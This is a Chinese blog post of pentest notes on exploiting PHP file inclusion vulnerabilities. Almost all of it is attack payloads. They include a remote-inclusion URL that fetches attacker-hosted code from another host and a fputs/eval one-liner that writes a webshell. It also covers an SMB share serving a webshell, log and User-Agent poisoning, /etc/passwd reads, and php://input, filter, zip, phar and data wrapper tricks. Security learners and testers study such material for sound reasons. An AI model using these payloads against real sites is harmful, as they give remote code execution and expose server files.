首页 > 其他分享 >文件包含

文件包含

时间:2023-02-26 22:45:21浏览次数:36  
标签:文件 http 包含 url file php

条件:开启fopen 和 include

lallow_url_include 是否允许引用URL文件

lallow_url_fopen 是否允许打开URL文件

危害:利用远程文件包含漏洞,可以直接执行任意命令。

**注意:在****php.ini中,allow_url_fopen默认一直是on,而allow_url_include从php5.2之后默认为off

本地文件包含

<?php
$file = $_GET['filename'];
include $file;
>
利用:有后缀名限制的文件包含:%00截断 (php < 5.3)、?、#
		有前缀限制的文件包含:目录跳转  ../    ./
读取敏感信息
http://10.0.2.15/include.php?page=/etc/passwd

远程文件包含

test.txt文件,可以保存在远程服务器,内容如下:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[nmask]);?>")?>

如果目标网站存在远程包含漏洞,则可以通过访问:http://www.xxx1.com/index.php?page=http://www.xx2.com/test.txt

则会在服务器根目录下生产一个shell.php内容为:
<?php   eval($_POST[nmask]);?>

本地包含配合文件上传

如果目标服务器关闭了allow_url_fopen,则可以尝试使用本地包含+文件上传

上传一个图片木马a.jpg,内容为:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?>

访问URL:http://www.xxx.com/index.php?page=./a.jpg
会在本地生成shell.php。

包含session文件Getshell

常见session储存位置
/var/lib/php/sess_[PHPSESSID]
/tmp/sess_[PHPSESSID

利用场景:
一般对于登陆点存在注册用户的,那么就可以起一个为payload的名字,这样会将payload保存在session文件中

包含日志文件Getshell

Web服务器,基本上把请求写入到他的日志文件中,apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL: http://www.xxx.com/<?php eval([$_POST]);?>则会将一句话写入到access.log中,然后,我们利用本地包含,去包含这个日志文件,相当于我们得到了一个shell。

利用方式:
可以在url里面写入shell数据,也可以在Referer或者UserAgent中写入。
index.php?page=/etc/init.d/httpd
index.php?page=/etc/httpd/conf/httpd.conf

注意:
一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便无法利用成功。

利用/proc/self/environ进行包含

这个文件是一个存放最新的环境变量信息的文件,是由apache服务器,被访问时,会去更新的一个文件,更新其中的User-Agent信息。所以,我们可以考虑在User-Agent头部中注入代码,然后包含这个文件,去得到shell。
条件:
PHP通过CGI去解析
/proc/self/environ普通用户可读
利用:
1. 修改UA为 <?php phpinfo();?>
2. 访问 http://www.xxxx.com/view.php?page=../../../../proc/self/environ

通过SMB实现远程文件包含(双Off情况)

通常远程文件包含条件需要开启以下两个方法:
allow_url_include = on
allow_url_fopen = on
当不符合上面两个条件的情况下,我们还可以利用Smb协议实现远程文件包含

条件:
目标Web服务器为Windows Server(Linux不识别 \\ )
利用:
攻击者自行搭建Smb服务,并且可以匿名访问共享文件
将PHP webshell上传至Smb共享目录
目标服务器通过 \\x.x.x.x\shell 包含远程共享文件

访问\\192.168.0.3\ica\,可以看到Webshell:

使用包含wenshell的SMB链接作为远程包含的URL:
http://www.xxxx.com/page.php?page=\\192.168.0.3\ica\box.php
成功绕过PHP远程文件包含的限制。

PHP伪协议

条件:无
使用方法:
?file=file://[文件的绝对路径和文件名]
读取脚本文件的时候
php://filtter/convert.base64-encode/resource=文件路径


条件:
allow_url_include=on
?file=php://input
[POST数据]:
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['cmd']);?>");?> 


条件:无
使用方法:
Base64编码读取
	file=php://filter/read=convert.base64-encode/resource=index.php
	file=php://filter/convert.base64-encode/resource=index.php
Rot13编码读取
	file=php://filter/string.rot13/resource=index.php
	<?php phpinfo();?>    <?cuc cucvasb();?>
注意:使用php://filter协议查看曝露出来的文件的内容,因为PHP文件是在不能直接显示的,所以使用了base64编码显示,到时候再解码就OK了。
与file协议的区别在于file协议只能使用绝对路径,filter协议相对路径和绝对路径都可以使用


zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。
条件:php>=5.30
	zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;

zip://
使用方法:
使用过程中只能用绝对路径,在压缩包名后 写上%23
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
zip://C:/Path/WWW/cmd.zip%23cmd.php

注意:有无.php后缀均可

bzip2://
使用方法:
compress.bzip2://file.bz2
http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

zlib://
使用方法:
compress.zlib://file.gz
http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

条件:
php>5.2
allow_url_include = on
allow_url_fopen = on
使用方式:
data:text/plain,<?php phpinfo()?>
data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4%3d
data://text/plain;rot13,<?cuc cucvasb();?>

注意:data:// 或 data: 都可以,base64的 = 和 + 需要url编码


读取压缩包内的文件(相对路径或者绝对路径),可以用来包含一个shell
条件:php>=5.30
使用方式:
info.txt-->打包成zip文件
相对路径
phar://test.zip/phpinfo.php
绝对路径
phar://C:/Path/WWW/cmd.zip/cmd.php
注意:有无.php后缀均可

标签:文件,http,包含,url,file,php
From: https://www.cnblogs.com/cowpokee/p/17158062.html

相关文章